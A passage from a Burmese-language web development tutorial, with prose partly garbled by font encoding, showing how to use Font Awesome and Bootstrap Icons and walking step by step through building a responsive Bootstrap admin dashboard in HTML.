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Register လုပ်ပြပီးရင်dတာ့ Version သစ်အတွက် CDN လိပ်စာdတွကို ရရိှပါလိမ့်မယ်။ dနာက်ပုိင်းမှာ CDN
လိပ်စာ dgပာင်းစရာမလုိzဲ  Version  အသစ်ထွက်တိုင်း  အလုိအdလျှာက်  Update  goစ်dစo့ုိ အ့ဲဒီနည်းကို
dgပာင်းသံုးတယ်လ့ုိ dgပာထားပါတယ်။ dလာdလာဆယ် စမ်းeကည့်oို့သက်သက် အတွက်dတာ့ မလိုdသးပါ
zူး။  အထက်မှာdgပာထားတဲ့  CDN  လိပ်စာကိုပဲ  ဆက်လက်အသံုးgပုနိုင်ပါတယ်။  CDN  လိပ်စာထည့်ပြပီး
သွားရင် အသံုးgပုနည်းက မခက်dတာ့ပါzူး။

Font  Awesome  မှာ  မူကွဲအုပ်စု  (၅)  စရုှိပါတယ်။ အdပါ်က ကင်မရာပံုdလးdတွကို  နှိုင်းယှဉ်  eကည့်ပါ။
dရှ့ ဆုံးပံုက Solid ဆိုတဲ့ အုပ်စုထဲမှာ ပါပါတယ်။ အdရာင်အgပည့် goည့်ပြပီး ပံုကို ဆွဲထားပါတယ်။ ဒုတိယပံု
က  Regular  အုပ်စုပါ။  လုိင်းdလးdတွနဲ့  ဆွဲထားပါတယ်။  တတိယပံုကdတာ့  Light  အုပ်စုgoစ်ပါတယ်။
လုိင်းပါးပါးdလးနဲ့  ဆွဲထားတာပါ။  dနာက်ဆုံးပံုကိုdတာ့  Duo-Tone  လ့ုိdခါ်ပါတယ်။  နှစd်ရာင်စပ်ပြပီး
ဆွဲထားတာပါ။ Free Version မှာ Solid Icons dတွနဲ့  Regular Icons တစ်ချ ို ့ကို အသံုးgပုခွင့် dပးထားပါ
တယ်။ Light နဲ့ Duo-Tone Icons dတကွdတာ့ Pro Version ကျdတာ့မှ သံုးလ့ုိရမှာပါ။ နမူနာပံုထဲမှာ မပါ
တဲ့ အုပ်စုကိုdတာ့ Brand လ့ုိdခါ်ပါတယ်။ Google တို့ Facebook တို့ YouTube တို့ Twitter တို့လုိ Brand
dတရွဲ့  Icons  dတွပါ။  Brand Icons  dတွကိုလည်း  Free Version  မှာ ထည့်dပးထားပါတယ်။ ဒါdeကာင့်
Free Version  မှာ  Icons  အုပ်စု  (၃)  ခုပါတယ်လ့ုိ မှတ်နိုင်ပါတယ်။  Solid, Regular  နဲ့  Brand  တို့goစ်ပါ
တယ်။  အသံုးgပုo့ုိအတွက် အခုလုိdရးသားအသံုးgပုနိုင်ပါတယ်။

 HTML 
<i class="fas fa-camera"></i>
<i class="far fa-user"></i>
<i class="fab fa-github"></i>

ဒီနမူနာကို  Code Pen  ထဲမှာ လက်dတွ့dရးစမ်းeကည့်လို့ရပါတယ်။  CDN  dတာ့  ကြကိုပြပီးမှန်dအာင် ထည့်
ထားdပးo့ုိ မdမ့ပါနဲ့။ သင့်dတာ်တဲ့ Icon ပံုdလးdတွ dပါ်လာတာကို dတွ့ရပါလိမ့်မယ်။
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Solid Icons dတွကိုအသံုးgပုလုိရင် fas Class ကိုသုံးရပြပီး Regular Icons dတွကို သံုးချင်ရင်dတာ့ far
Class  ကိုသံုးရပါတယ်။  Brand Icons  dတွကို  သံုးချင်ရင်dတာ့  fab Class  ကိုသံုးရပါတယ်။ ပြပီးတဲ့အခါ
dနာက်ကdန အသံုးgပုလိုတဲ့ပံုရo့ုိ fa-{icon-name} Class လုိက်ရပါတယ်။ Icon Name dတွကdတာ့
(၁၀၀၀)  dကျာ်  အကုန်လုံးမှတ်ထားo့ုိ  မgoစ်နိုင်ပါzူး။  လုိအပ်လာdတာ့မှာ  ဒီလိပ်စာမှာ  ကိုယ်လုိချင်တဲ့
Keyword နဲ့ရိုက်ထည့်ပြပီး ရှာသံုးသွားရမှာ goစ်ပါတယ်။

https://fontawesome.com/icons

တစ်ကယ်dတာ့ Font Awesome အသံုးgပုနည်းက ဒီမှာတင်ပြပီးသွားပါပြပီ။ ဒါdပမယ့် လက်dတွ့dရးစမ်းgoစ်
သွားdအာင် Bootstrap Component dတွနဲ့တွဲပြပီး နမူနာတစ်ချ ို ့ dပးချင်ပါတယ်။ dရးစမ်းeကည့်ပါ။

 HTML 
<ul class="list-group">
  <li class="list-group-item">
    <i class="far fa-square me-3"></i>
    Something todo
    <i class="fas fa-trash float-end text-danger"></i> 
  </li>
  <li class="list-group-item">
    <i class="fas fa-check me-3"></i>
    Another thing to do
    <i class="fas fa-trash float-end text-danger"></i>
  </li>
  <li class="list-group-item">
    <i class="fas fa-check me-3"></i>
    More thing to do
    <i class="fas fa-trash float-end text-danger"></i>
  </li>
</ul>

ဒါဟာ List Group Component ထဲမှာ Checkbox Icons dလးdတွ၊ Trash  Icons dလးdတွ dပါင်းစပ်ပြပီး
Todo List App UI dလးတစ်ခု oန်တီးလုိက်တာပါ။ ရလဒ်က အခုလုိgoစ်ပါလိမ့်မယ်။

dနာက်နမူနာတစ်ခုအdနနဲ့ Tab UI မှာ Icons dလးdတွ ထည့်eကည့်ပါမယ်။

https://fontawesome.com/icons
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 HTML 
<ul class="nav nav-tabs">
  <li class="nav-item">
    <a href="#" class="nav-link active">
      <i class="fas fa-list"></i> All Users
    </a>
  </li>
  <li class="nav-item">
    <a href="#" class="nav-link">
      <i class="fas fa-users"></i> New Users
    </a>
  </li>
  <li class="nav-item">
    <a href="#" class="nav-link">
      <i class="fas fa-user"></i> My Profile
    </a>
  </li>
</ul>

ပံုမှန်သံုးdနeက Tab UI dလးကိုပဲ Icons dလးdတွထည့်လုိက်လ့ုိ ပုိအသက်ဝင်သွားတာကို အခုလုိ dတွgမင်
ရမှာ goစ်ပါတယ်။
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dနာက်တစ်ခုအdနနဲ့ Form မှာ Icons dလးdတွ ထည့်eကည့်eကပါမယ်။

 HTML 
<form>
  <div class="mb-2">
    <label><i class="fas fa-user me-2"></i> User Name</label>
    <input type="text" class="form-control">
  </div>
  <div class="mb-2">
    <label><i class="fas fa-envelope me-2"></i> Email</label>
    <input type="text" class="form-control">
  </div>
  <div class="mb-2">
    <label><i class="fas fa-key me-2"></i> Password</label>
    <input type="password" class="form-control">
  </div>
  
  <button class="btn btn-primary">
    <i class="fas fa-paper-plane me-2"></i> Register
  </button>
</form>

ဒီတစ်ခါမှာလဲ ပံုစံတူမ့ုိလ့ုိ dရာတတ်တဲ့ Form Input dတွဟာ Icons dလးdတွdeကာင့် ကွဲgပားသွားတာကို
အခုလုိ dတွ့ ရမှာ goစ်ပါတယ်။
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dနာက်တစ်ခုအdနနဲ့ Table မှာ Icons dလးdတွ ထည့်eကည့်eကပါမယ်။

 HTML 
<table class="table table-bordered table-striped">
  <tr>
    <th><i class="fas fa-hashtag"></i> ID</th>
    <th><i class="fas fa-bug"></i> Issue</th>
    <th><i class="fas fa-calendar"></i> Date</th>
    <th><i class="fas fa-sort-amount-down"></i> Level</th>
    <th><i class="fas fa-user"></i> Assign</th>
  </tr>
  <tr>
    <td>1</td>
    <td>A problem with something</td>
    <td>2020-08-11</td>
    <td><span class="badge bg-danger">critical</span></td>
    <td>Alice</td>
  </tr>
  <tr>
    <td>2</td>
    <td>Another problem with ...</td>
    <td>2020-08-12</td>
    <td><span class="badge bg-warning">important</span></td>
    <td>Bob</td>
  </tr>
</table>

Feature dတွ ပုိပြပီးdတာ့ dဝdဝဆာဆာ goစ်သွားသလုိ Table ပါ အချက်အလက်dတွကိုလည်း ပုိပြပီးdတာ့
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ရှင်းလင်းgမင်သာသွားတာကို အခုလုိ dတွ့ရမှာ goစ်ပါတယ်။

ဒီdလာက်ဆိုရင်  Icons  dတရွဲ့ အသံုးဝင်ပုံနဲ့  Font Awesome Icons  dတွ အသံုးgပုပုံကို  dကာင်းdကာင်း
သdzာdပါက်သွားdလာက်ပါပြပီ။ ဆက်လက်ပြပီးdတာ့ Bootstrap Icons အသုံးgပုပံုdလးdတွ ဆက်dgပာပါ
ဦးမယ်။

Bootstrap Icons
Bootstrap Icons  dတွ အသံုးgပုပံုကလည်း လွယ်ပါတယ်။  Icon Font CND  အdနနဲ့လည်း ရနိုင်dပမယ့်
မူလစတင်တီထွင်စဉ်က SVG Icon dတွ အdနနဲ့ တီထွင်ခဲ့တာမ့ုိလ့ုိ SVG Icon အdနနဲ့ အသုံးgပုပံုကို doာ်gပ
သွားပါမယ်။ သ့ူ ဝz်ဆိုက်ကdန Download ရယူနိုင်ပါတယ်။

- https://icons.getbootstrap.com

Download လုပ်ရမယ်ဆိုdပမယ့် Icons dပါင်း  (၁၀၀၀) dကျာ်ကိုမှ oုိင်  Size က 650KB dလာက်ပဲရှိတာ
ပါ။ ရလာတဲ့  Zip  oုိင်ကို goည်ချလုိက်ရင် အခုလုိ  SVG Format  နဲ့  Icons  oုိင်dတွကို dတွ့gမင်ရမှာ goစ်ပါ
တယ်။

https://icons.getbootstrap.com/
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အ့ဲဒီoုိင်dတွကိုပဲ တစ်ခုချင်း <img> Element နဲ့ ထည့်သွင်းအသံုးgပုလ့ုိ ရပါတယ်။ ဥပမာ –

 HTML 
<img src="icons/alarm.svg">

ဒါမှမဟုတ် နှစ်သက်ရာပံုကို  Code Editor နဲ့oွင့်လုိက်ပါ။ ပံုဆိုdပမယ့် XML Format နဲ့ dရးထားတဲ့  Text
dတွပဲမ့ုိလုိ့ Code Editor နဲ့oွင့်လ့ုိ ရပါတယ်။ ရလာတဲ့ ကုဒ်က ဒီလုိပံုစံgoစ်နိုင်ပါတယ်။

 SVG 
<svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-alarm" 
fill="currentColor" xmlns="http://www.w3.org/2000/svg">
  <path fill-rule="evenodd" d="M6.5 0a.5.5 0 0 0 0 1H7v1.07a7.001 7.001 0 0 0-
3.273 12.474l-.602.602a.5.5 0 0 0 .707.708l.746-.746A6.97 6.97 0 0 0 8 16a6.97
6.97 0 0 0 3.422-.892l.746.746a.5.5 0 0 0 .707-.708l-.601-.602A7.001 7.001 0 0
0 9 2.07V1h.5a.5.5 0 0 0 0-1h-3zm1.038 3.018a6.093 6.093 0 0 1 .924 0 6 6 0 1 
1-.924 0zM8.5 5.5a.5.5 0 0 0-1 0v3.362l-1.429 2.38a.5.5 0 1 0 .858.515l1.5-
2.5A.5.5 0 0 0 8.5 9V5.5zM0 3.5c0 .753.333 1.429.86 1.887A8.035 8.035 0 0 1 
4.387 1.86 2.5 2.5 0 0 0 0 3.5zM13.5 1c-.753 0-1.429.333-1.887.86a8.035 8.035 
0 0 1 3.527 3.527A2.5 2.5 0 0 0 13.5 1z"/>
</svg>
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ဒါ  alarm.svg မှာပါတဲ့ ကုဒ်dတွgoစ်ပါတယ်။ ဒီကုဒ်အတိုင်း ကိုယ်သံုးလုိတဲ့  Component ထဲမှာ ထည့်
ပြပီးdတာ့ သံုးနိုင်ပါတယ်။ ဒီလုိပါ – 

ဒါ  Button  Component  ထဲမှာ  SVG  Icon  ကို  ထည့်သံုးလုိက်တာပါ။  ဒီ  Icon  dပါ်မှာ  အရွယ်အစား၊
အdရာင်၊ အပါအဝင် လုိအပ်တဲ့ Style dတွကို သတ်မှတ်လ့ုိရပါတယ်။

အားသာချက်အားနည်းချက်dတွကdတာ့  သ့ူdနရာနဲ့သူပါပဲ။  Icon  Font  ကdတာ့  Class  dလးdတွ
dပးလုိက်ယံုနဲ့  လုိချင်တဲ့  Icon  ကိရုလ့ုိ  အသံုးgပုရတာ ပုိပြပီးdတာ့  အဆင်dgပလွယ်ကူတဲ့သdzာမှာ  ရှိပါ
တယ်။ ဒါdပမယ့် SVG Icons dတရွဲ့ အားသာချက်အdနနဲ့ JavaScript နဲ့တွဲသုံးပြပီး Animation အပါအဝင်
ပုိပြပီးဆန်းgပားတဲ့ လုပ်dဆာင်ချက်dတွ ရရိှနိုင်ပါdသးတယ်။ ဒီအdeကာင်းdတွကိုdတာ့ အခုထည့်eကည့်လို့မ
ရdသးပါzူး။ ဆက်လက်dလ့လာရန်လ့ုိပဲ မှတ်ထားရဦးမှာပါ။

dနာက်တစ်ခန်းမှာ လကရ်ှိdလ့လာခဲ့ပြပီးgoစ်တဲ့ Component dတွ Layouts dတွနဲ့ Icons dတွကို dပါင်းစပ်
oန်တီးထားတဲ့ နမူနာ Admin Dashboard UI dလးတစ်ခုကို oန်တီးeကည့်eကပါမယ်။
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dရှ့ ပုိင်းမှာdလ့လာခဲ့တဲ့ Component dတွ Layout dတွနဲ့ Icons dတွကို လက်dတွ့စမ်းသပ် dလ့ကျင့် နိုင်
dစo့ုိအတွက် Admin Dashboard UI တစ်ခုကို နမူနာအdနတဲ့ oန်တီးeကည့်ချင်ပါတယ်။ ပြပီးသွားတဲ့အခါ ရ
လာမယ့်ရလဒ်က ဒီလိုပါ –

Responsive  လုပ်dဆာင်ချက်ကို  တစ်ခါထဲ ထည့်လုပ်မှာgoစ်ပြပီး  Large Screens  dတွမှာ gမင်dတွ့ရမယ့်
ရလဒ်နဲ့  Small  Screens  dတွမှာ  gမင်dတွ့ရမယ့်  ရလဒ်ကို  ယှဉ်တွဲdoာ်gပထားပါတယ်။  dသချာZရုစိုက်
eကည့်လိုက်ရင်  အများကြကီးကွာသွားတာမျ ို း  မဟုတ်ပါzူး။  Large  Screens  dတွမှာ  zယ်zက်gခမ်း
Sidebar Menu doာ်gပတဲ့အခါ Icon နဲ့ စာ တွဲgပပြပီး၊ Small Screens dတွမှာ Icon dတွချည်းပဲ gပလုိက်တာ
ပါ။  ပြပီးdတာ့  Large  Screens  အတွက်  Main  Content  ဧရိယာမှာ  Block  dလးdတွကို  dzးချင်းကပ်
doာ်gပရာကdန Small Screens အတွက် အdပါ်dအာက်စီပြပီး gပလုိက်တာပါပဲ။
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Step-1 – HTML Structure
တစ်ဆင့်ချင်း Step by step dgပာgပချင်သလုိ၊ တစ်ခါထဲ အဆင့်လုိက် လုိက်လုပ်eကည့်dစချင်ပါတယ်။ dရး
ရမယ့်ကုဒ်dတွများအတွက်  Code  Pen  ကို  မသုံးdတာ့zဲ၊  ကိုယ့်zာသာ  HTML  Document  တစ်ခု
တည်dဆာက်ပြပီးdတာ့ dရးeကည့်သင့်ပါတယ်။ ပထမအဆင့်အdနနဲ့ လုိအပ်တဲ့ အdgခခံ  HTML Structure
ကိdုရးdပးရပါမယ်။

 HTML 
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Dashboard</title>
    <link rel="stylesheet" 
href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css"
>

<link rel="stylesheet" 
     href="https://use.fontawesome.com/releases/v5.15.1/css/all.css">
</head>
<body>

    <script 
src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min
.js"></script>
</body>
</html>

အdgခခံ  HTML  Structure  တစ်ခုgoစ်ပြပီး  viewport လ့ုိdခါ်တဲ့  <meta> Element  ကိုသတိgပုပါ။
Responsive Layout  အတွက်  မgoစ်မdန ပါဝင်o့ုိလုိအပ်တဲ့  Element  goစ်ပါတယ်။  ဒီ  Element  မပါရင်
Browser dတွက Screen Size dသးတဲ့အခါ ဝz်ဆိုက်ကိုဆန့်သွားdအာင် ဆွဲချုံ့ပြပီး gပတတ်eကပါတယ်။ ဒီ
dတာ့အကုန်လံုး  dသးdသးdလးdတွ  goစ်ကုန်ပြပီး  သံုးရတာအဆင်မdgပdတာ့ပါzူး။  Viewport  Meta
Element  က  အ့ဲဒီလုိ  မချုံ့zဲ  သ့ူအရှိအတိုင်းgပdပးo့ုိ  dgပာထားတာပါ။  Screen  dသးလ့ုိမဆန့်ရင်
အဆင်dgပdအာင်gပတဲ့ Responsive လုပ်dဆာင်ချက်ကို ကိုယ့်zာသာ လုပ်dပးမှာမို့လ့ုိ Browser zက်က
လုပ်oို့မလုိတဲ့သdzာ goစ်ပါတယ်။ 
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ပြပီးတဲ့အခါ လုိအပ်တဲ့  CSS  နဲ့  JavaScript  dတွကို  CDN ကdနချတိ်ပြပီး ထည့်ထားလုိက်ပါတယ်။ တစ်လံုး
ချင်းကူးdရးမယ့်အစား သက်ဆိုင်ရာ Documentation ကdန CDN လိပ်စာကို ကူးယူသင့်ပါတယ်။

- https://getbootstrap.com
- https://fontawesome.com

HTML/CSS မှာ မှားစရာ သိပ်မရှိပါzူး။ အများဆုံး မှားeကရင် ချတိ်ဆက်ထားတဲ့ လိပ်စာdတွလဲွdနeကတာ
များပါတယ်။ ကူးdရးမယ်ဆိုရင်လည်း dသdသချာချာdလး Zရုစိုက်ပြပီးdရးdပးပါ။

Step-2 – Sidebar Navigation
zယ်လက် Sidebar နဲ့  Main ဧရိယာကို နှစ်gခမ်းခွဲပြပီး gပချင်လ့ုိ  Layout လုပ်dဆာင်ချက်တစ်ခု စထည့်ပါ
မယ်။ <body> အတွင်းမှာ ဒီလုိထည့်dရးdပးပါ။

 HTML 
<div class="container-fluid">

<div class="row g-0">
<nav class="col-2 bg-light pe-3">
</nav>
<main class="col-10 bg-secondary">
</main>

</div>
</div>

Fluid Container  တစ်ခုအတွင်းမှာ  <nav> အတွက်  Column (၂)  ခုစာdနရာယူပြပီး  <main> အတွက်
Column (၁၀)  ခုစာdနရာယူထားတာပါ။ တစ်ခုနဲ့တစ်ခုeကားထဲမှာ  Gutter မရှိdစချင်လ့ုိ  g-0 Class  ကို
ထည့်dပးထားတာ သတိgပုပါ။

Logo နဲ့ Title ဆက်ထည့်eကပါမယ်။ <nav> အတွင်းထဲမှာ ဒီလုိdရးdပးပါ။

https://fontawesome.com/
https://getbootstrap.com/
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 HTML 
<div class="container-fluid">

<div class="row g-0">
<nav class="col-2 bg-light pe-3">

<h1 class="h4 py-3 text-center text-primary">
<i class="fas fa-ghost me-2"></i>
<span class="d-none d-lg-inline">

GHOST ADMIN
</span>

</h1>
</nav>
<main class="col-10 bg-secondary">
</main>

</div>
</div>

<h1> Element  တစ်ခုအတွင်းမှာ  Icon  dလးတစ်ခုနဲ့အတူ  dခါင်းစဉ်တပ်dပးလုိက်တာပါ။  <h1>  က
အရမ်းကြကီးdနမှာ စိုးလ့ုိ h4 Class ထည့်dပးထားပါတယ်။ ဒါdeကာင့် <h1> ဆိုdပမယ့် အရွယ်အစားကို h4
အရွယ်အစားdလာက်နဲ့ gပdပးမှာပါ။ ကျန်တဲ့လုပ်dဆာင်ချက်dတွက ဆန်းgပားတာ မပါzဲ dရှ့ မှာdလ့လာ
ခဲ့ပြပီးသား လုပ်dဆာင်ချက်dတွပဲမုိ့လ့ုိ ကိုယ့်zာသာ ကုဒ်ကိုoတ်ပြပီး dလ့လာeကည့်လုိက်ပါ။

dခါင်းစဉ်မှာ  d-none လ့ုိ  dgပာထားတဲ့အတွက်  Small  Screen  dတွမှာ  dပျာက်dနမှာပါ။  d-lg-
inline လ့ုိထပ်dgပာထားတဲ့အတွက်  Large Screen  dတွမှာdတာ့ dပါ်dနမှာgoစ်ပါတယ်။  Responsive
လုပ်dဆာင်ချက်တစ်ခုအdနနဲ့ ထည့်dပးထားတာပါ။ 

ဆက်လက်ပြပီး Menu Item dတွကို  List Group သံုးပြပီး အခုလုိ ထည့်dပးပါ။ <h1> ရဲ့dအာက်မှာ ကပ်ပြပီး
ထည့်ရမှာပါ။

 HTML 
<div class="list-group text-center text-lg-start">

<span class="list-group-item disabled d-none d-lg-block">
<small>CONTROLS</small>

</span>
<a href="#" class="list-group-item list-group-item-action active">

<i class="fas fa-home"></i>
<span class="d-none d-lg-inline">Dashboard</span>

</a>
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<a href="#" class="list-group-item list-group-item-action">
<i class="fas fa-users"></i>
<span class="d-none d-lg-inline">Users</span>
<span class="d-none d-lg-inline badge bg-danger 

rounded-pill float-end">20</span>
</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-chart-line"></i>
<span class="d-none d-lg-inline">Statistics</span>

</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-flag"></i>
<span class="d-none d-lg-inline">Reports</span>

</a>
</div>
<div class="list-group mt-4 text-center text-lg-start">

<span class="list-group-item disabled d-none d-lg-block">
<small>ACTIONS</small>

</span>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-user"></i>
<span class="d-none d-lg-inline">New User</span>

</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="fas fa-edit"></i>
<span class="d-none d-lg-inline">Update Data</span>

</a>
<a href="#" class="list-group-item list-group-item-action">

<i class="far fa-calendar-alt"></i>
<span class="d-none d-lg-inline">Add Events</span>

</a>
</div>

dရးရမယ့်ကုဒ်dတွများdပမယ့်  ကြကိုးစားပြပီးdရးdပးပါ။  များများdရးမှပဲ  အdလ့အကျင့်ရပြပီး  gမန်gမန်
ကျွမ်းကျင်မှာပါ။  တစ်ကယ်dတာ့  ကုဒ်dတွသာများdနတာပါ  အဆန်းအgပားdတာ့  မပါပါzူး။  အများစုက
ကြကိုတင်dလ့လာခဲ့eကပြပီးသား လုပ်dဆာင်ချက်dတွပါပဲ။ ထူးgခားချက်အdနနဲ့ List Group dတွမှာ text-
center လ့ုိ  dgပာထားတဲ့အတွက်  စာdတွကို  Center  Alignment  နဲ့gပပါလိမ့်မယ်။  ဒါdပမယ့်  text-
lg-left လ့ုိdgပာထားတဲ့အတွက်  Large  Screen  dတွမှာdတာ့  Left  Alignment နဲ့gပမှာgoစ်ပါတယ်။
Screen dသးသွားလ့ုိ စာdတွကိုdoျာက်ပြပီး Icon dတွချည်းgပတဲ့အခါ အလယ်မှာgပမှ eကည့်dကာင်းမှာပါ။

ပြပီးတဲ့အခါ List Group နဲ့ List Item dတွအတွက် <ul><li> ကိုမသံုးပါzူး။ <div><a> ကိုသံုးထားပါ
တယ်။  နှိပ်လ့ုိရတဲ့  Link dတွgoစ်dစချင်လ့ုိပါ။  နှိပ်လုိ့ရတဲ့  Link  မှန်းdပါ်လွင်dအာင်  List  Item  dတွမှာ
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list-group-item-action လ့ုိdခါ်တဲ့ Class တွဲထည့်dပးထားတာကို သတိgပုပါ။ ကိုယ်တိုင် ပါရင်
တစ်မျ ို း၊ မပါရင်တစ်မျ ို း စမ်းeကည့်နိုင်ပါတယ်။

Screen  dသးတဲ့အခါ doျာက်ထားရမယ့်  Element  အားလံုးမှာ  d-none Class  ထည့်dပးထားပါတယ်။
Screen  ကြကီးတဲ့အခါ doာ်gပdစo့ုိအတွက်  d-lg-block နဲ့  d-lg-inline တို့ကို  သ့ူdနရာနဲ့သူ သံုး
dပးထားပါတယ်။ dလ့လာeကည့်လုိက်ပါ။

ဒီအဆင့်ထိdရးပြပီးပြပီဆိုရင် စစမ်းလုိ့ရပါပြပီ။ dရးထားတဲ့ HTML Document ကို Save ပြပီး Browser တစ်ခုနဲ့
oွင့်eကည့်လိုက်ရင် အခုလုိရလဒ်ကို dတွ့gမင်ရမှာပဲgoစ်ပါတယ်။

လုိချင်တဲ့အတိုင်း  Sidebar  Navigation  နဲ့  Content  ဧရိယာအလွတ်တစ်ခုကို  ရရှိdနgခင်းgoစ်ပါတယ်။
dခါင်းစီးdတွ Icon dတွအgပည့်အစုံပါသလုိ Responsive လုပ်dဆာင်ချက်လည်းပါလ့ုိ Screen Size အကြကီး
အdသး အမျ ို းမျ ို းလည်း စမ်းလ့ုိရdနပါပြပီ။ zာမှခက်ခက်ခဲခဲ သိပ်မလုပ်လုိက်ရzဲ ရရိှdနgခင်း goစ်ပါတယ်။
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Step-3 – Horizontal Navbar
Main  ဧရိယာအdပါ်ပုိင်းမှာ  Navbar  တစ်ခုဆက်ထည့်eကပါမယ်။  <main> အoွင့်အပိတ်အတွင်းမှာ ဒီလုိ
dရးထည့်dပးပါ။

 HTML 
<nav class="navbar navbar-expand-lg navbar-light bg-light">

<div class="flex-fill"></div>
<div class="navbar nav">

<li class="nav-item dropdown">
<a href="#" class="nav-link dropdown-toggle"

data-bs-toggle="dropdown">
<i class="fas fa-user-circle"></i>

</a>
<ul class="dropdown-menu">
    <li>

<a href="#" class="dropdown-item">User Profile</a>
    </li>
    <li>

<a href="#" class="dropdown-item">Logout</a>
    </li>
</ul>

</li>
<li class="nav-item">

<a href="#" class="nav-link"><i class="fas fa-cog"></i></a>
</li>

</div>
</nav>

ထူးgခားချက်အdနနဲ့ Menu ကို ညာzက်gခမ်းမှာ ကပ်dပါ်dစချင်လ့ုိ flex-fill Element အလွတ်တစ်
ခု ထည့်ထားdပးတာကို သတိgပုပါ။ တgခားနည်းdတွ ရိှdပမယ့်၊ ဒီနည်းရှိdeကာင်း သိdစချင်လ့ုိ ထည့်dပး
ထားတာပါ။ ဒါdeကာင့် Dropdown အပါအဝင် Menu က အခုလုိ ညာzက်ကပ် doာ်gပdနမှာပါ။
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တစ်goည်းgoည်းနဲ့  ရုပ်လံုးdပါ်လာပါပြပီ။  Main  ဧရိယာထဲမှာ  လုိချင်တဲ့  Block  dလးdတွကို  Card
Component dတွဆက်ပြပီး ထည့်eကပါမယ်။

Step-4 – Alert & Stat Blocks
လုိချင်တဲ့ လုပ်dဆာင်ချက်dတွ ထပ်ထည့်o့ုိအတွက် Main ဧရိယာထဲမှာ dနာက်ထပ် Layout တစ်ခုထပ်လုိ
ပါတယ်။ ဒါdeကာင့် Container တစ်ခုကို Navbar dအာက်မှာ အခုလုိကပ်ထည့်dပးပါ။

 HTML 
<div class="container-fluid mt-3 p-4"> 
</div>

Navbar နဲ့ နည်းနည်းခွာgပdစချင်လ့ုိ Margin Top ထည့်ထားပြပီး အထဲက Element dတွကို dzာင်ကdန
ခွာgပdစချင်လ့ုိ  Padding  လည်းထည့်ထားပါတယ်။ အ့ဲဒီ  Container  ထဲမှာ  Alert Component  တစ်ခုကို
အခုလုိ ဆက်ထည့်လုိက်ပါ။
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 HTML 
<div class="row mb-3">

<div class="col">
<div class="alert alert-info">

<i class="fas fa-download me-2"></i> A new version of admin 
dashboard is released. <a href="#">Download Now!</a>

</div>
</div>

</div> 

row တစ်ခုအတွင်းထဲမှာ  အgပည့်dနရာယူထားတဲ့  col တစ်ခုနဲ့  ထည့်dပးထားတာပါ။  ပြပီးတဲ့အခါ  သ့ူ
dအာက်မှာ Stat Blocks dလးdတွကို dနာက် row တစ်ခုနဲ့ အခုလုိ ဆက်ထည့်dပးလုိက်ပါ။

 HTML 
<div class="row flex-column flex-lg-row">

<h2 class="h6 text-white-50">QUICK STATS</h2>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">1,250</h3>
<span class="text-success">

<i class="fas fa-chart-line"></i>
Daily visitors

</span>
</div>

</div>
</div>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">8,210</h3>
<span class="text-success">

<i class="fas fa-chart-line"></i>
Weekly visitors

</span>
</div>

</div>
</div>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">12,560</h3>
<span class="text-success">

<i class="fas fa-chart-line"></i>
Monthly visitors

</span>
</div>

</div>
</div>
<div class="col">

<div class="card mb-3">
<div class="card-body">

<h3 class="card-title h2">102,250</h3>
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<span class="text-success">
<i class="fas fa-chart-line"></i>
Yearly visitors

</span>
</div>

</div>
</div>

</div>

သူလည်းပဲ gပချင်တာများလ့ုိ dရးရတာများdပမယ့် အထူးအဆန်းမပါပါzူး။ row အတွင်းမှာ col (၄) ခရုှိ
ပြပီး  col တစ်ခုစီအတွင်းမှာ  Card Component  dတွထည့်ထားတာပါ။ ထူးgခားချက်ဆိုလုိ့  Screen  dသး
ရင် flex-column နဲ့ အdပါ်dအာက်စီgပခိုင်းပြပီး flex-lg-row နဲ့  Screen ကြကီးတဲ့အခါ dzးတိုက်စီ
ပြပီး gပခိုင်းထားပါတယ်။

ဒီအဆင့်မှာ ရလဒ်ကိုeကည့်လုိက်ရင် အခုလုိပံုစံgoစ်dနပါပြပီ။

dတာ်dတာ်dလး  gပည့်စုံdနပါပြပီ။  dရးနည်းအရ  မခက်ပါzူး။  zာdလးနဲ့zယ်လုိ  dပါင်းစပ်  oန်တီးရင်
dကာင်းမလဲဆိုတာကို gမင်တတ်o့ုိသာလုိတာပါ။ gမင်တတ်o့ုိ ဆိုတာကdတာ့ အခုလုိ နမူနာdတွအပါအဝင်
လက်dတွ့dတွ များများလုပ်dပးရင် တစ်goည်းgoည်း ရလာပါလိမ့်မယ်။
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Step-5 – Location & Data Blocks
dနာက်ထပ် col (၂) ခုပါတဲ့ row တစ်ခုထပ်ထည့်ပြပီး လက်စသတ်လုိက်eကပါမယ်။ ဒီလုိdရးထည့်dပးပါ။

 HTML 
<div class="row mt-4 flex-column flex-lg-row">

<div class="col">
<h2 class="h6 text-white-50">LOCATION</h2>
<div class="card mb-3" style="height: 280px">

<div class="card-body">
<small class="text-muted">Regional</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar 
bg-success w-25"></div>

</div>
<small class="text-muted">Global</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar 
bg-primary w-75"></div>

</div>
<small class="text-muted">Local</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar 
bg-warning w-50"></div>

</div>
<small class="text-muted">Internal</small>
<div class="progress mb-4 mt-2" style="height: 5px">

<div class="progress-bar bg-danger w-25"></div>
</div>

</div>
</div>

</div>
<div class="col">

<h2 class="h6 text-white-50">DATA</h2>
<div class="card mb-3" style="height: 280px">

<div class="card-body">
<div class="text-end">

<button class="btn btn-sm 
btn-outline-secondary">

<i class="fas fa-search"></i>
</button>
<button class="btn btn-sm 

btn-outline-secondary">
<i class="fas fa-sort-amount-up"></i>

</button>
<button class="btn btn-sm 

btn-outline-secondary">
<i class="fas fa-filter"></i>

</button>
</div>
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<table class="table">
<tr>

<th>ID</th>
<th>Age Group</th>
<th>Data</th>
<th>Progress</th>

